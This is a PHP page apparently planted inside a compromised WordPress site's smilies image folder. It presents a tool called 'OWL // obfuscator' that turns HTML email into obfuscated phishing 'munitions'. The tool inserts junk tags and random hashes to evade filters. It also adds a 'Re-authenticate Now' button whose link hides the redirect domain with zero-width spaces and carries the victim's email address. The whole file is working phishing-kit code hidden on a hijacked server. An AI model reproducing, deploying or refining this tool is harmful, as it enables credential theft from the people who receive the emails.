| Current Path : /home/ladengineer/public_html/wp-includes/images/smilies/lib/ |
| Current File : /home/ladengineer/public_html/wp-includes/images/smilies/lib/2.php |
<?php
// obfuscator.php
session_start();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>OWL // obfuscator</title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;700&display=swap" rel="stylesheet">
<style>
:root { --ground: #0a0e0a; --ground-2: #0f1410; --panel: #121812; --line: #1f2a1f; --phos: #12b886; --amber: #ffb84d; }
body { margin:0; background:var(--ground); color:#e8efe8; font-family:"JetBrains Mono",monospace; font-size:13px; }
header { padding:20px; background:var(--ground-2); border-bottom:1px solid var(--line); }
.hdr-brand { font-size:24px; font-weight:700; color:var(--phos); }
main { max-width:1280px; margin:0 auto; padding:20px; }
textarea { width:100%; min-height:380px; background:#111; color:#0f0; border:1px solid var(--line); padding:15px; font-family:inherit; }
.controls { display:flex; gap:12px; flex-wrap:wrap; margin:15px 0; }
input[type=text] { padding:10px; background:#1a1a1a; border:1px solid var(--line); color:white; flex:1; }
button { padding:10px 24px; background:var(--phos); color:black; border:none; font-weight:bold; cursor:pointer; }
button:hover { filter:brightness(1.1); }
.output { background:#0a0f0a; border:1px solid var(--phos); padding:15px; white-space:pre-wrap; font-family:inherit; min-height:420px; }
</style>
</head>
<body>
<header>
<div class="hdr-brand">▸ OWL // obfuscator</div>
<div>5-layer HTML munition forge</div>
</header>
<main>
<form method="POST">
<strong>> INPUT · clean HTML source</strong><br>
<small>Tip: write <code>{{owl:femail}}</code> or <code>{{owl:link}}</code> where you want the link</small><br><br>
<textarea name="html" placeholder="Paste clean HTML here..."><?php echo isset($_POST['html']) ? htmlspecialchars($_POST['html']) : ''; ?></textarea>
<div class="controls">
<input type="text" name="mainlink" placeholder="mainlink:: example.com/redirectfolder/" value="<?php echo htmlspecialchars($_POST['mainlink'] ?? ''); ?>">
<input type="text" name="linktext" placeholder="button text::" value="<?php echo htmlspecialchars($_POST['linktext'] ?? 'Re-authenticate Now'); ?>">
<label><input type="checkbox" name="encode_host" checked> encode domain</label>
<button type="submit" name="forge">FORGE</button>
<button type="button" onclick="copyOutput()">COPY</button>
</div>
<?php if (isset($_POST['forge'])):
$result = obfuscate_html($_POST['html'], $_POST['mainlink'] ?? '', $_POST['linktext'] ?? 'Re-authenticate Now', isset($_POST['encode_host']));
?>
<strong>> OUTPUT · obfuscated munition</strong><br><br>
<div class="output" id="output"><?php echo htmlspecialchars($result); ?></div>
<?php endif; ?>
</form>
</main>
<script>
function copyOutput() {
const out = document.getElementById('output');
if (out) {
navigator.clipboard.writeText(out.textContent).then(() => alert('✅ Copied!'));
}
}
</script>
</body>
</html>
<?php
function obfuscate_html($html, $mainlink, $linktext, $encode_host = true) {
if (empty($html)) return "// No input";
$result = $html;
// Layer 1: Random MD5 tags
$result = preg_replace_callback('/(\w{4,})/', function($m) {
return $m[1] . '[-randommd5-][' . substr(md5(uniqid()), 0, 8) . ']';
}, $result);
// Layer 2: [-sat-] tags
$result = preg_replace('/(\w+)/', '$1[-sat-]', $result);
// Layer 3: Junk spans
$result = preg_replace('/(<\/?[^>]+>)/', '$1<SPAN ="[-randommd5-][-randommd5-]">', $result);
// Replace placeholder with forged link
if (!empty($mainlink)) {
$femail = '[femail]';
$junk = str_repeat('[-uuid-]', 20);
$url = 'https://' . ($encode_host ? zero_width_encode($mainlink) : $mainlink) . '/b/[-sup-][-randomletters-][-sup-]/' . $femail . '#' . $junk;
$link_html = '<A style="TEXT-DECORATION: none; COLOR: #1155cc" href="' . htmlspecialchars($url) . '" rel="noopener noreferrer">' .
'<SPAN style="FONT-SIZE: small; FONT-FAMILY: Segoe UI Semibold, Segoe UI Bold, Segoe UI, Helvetica Neue Medium, Arial, sans-serif, serif, EmojiFont; COLOR: white">' .
'<SPAN style="FONT-SIZE: 14px"><STRONG>' . htmlspecialchars($linktext) . '</STRONG></SPAN></SPAN></A>';
$result = str_replace(['{{owl:link}}', '{{owl:femail}}', '[femail]'], $link_html, $result);
}
// Final noise
$result = str_replace(' ', ' <SPAN ="[-randommd5-][-randommd5-]">', $result);
return $result;
}
function zero_width_encode($str) {
$zero = "\u{200B}"; // Zero Width Space
$result = '';
for ($i = 0; $i < strlen($str); $i++) {
$result .= $str[$i] . $zero;
}
return $result;
}
?>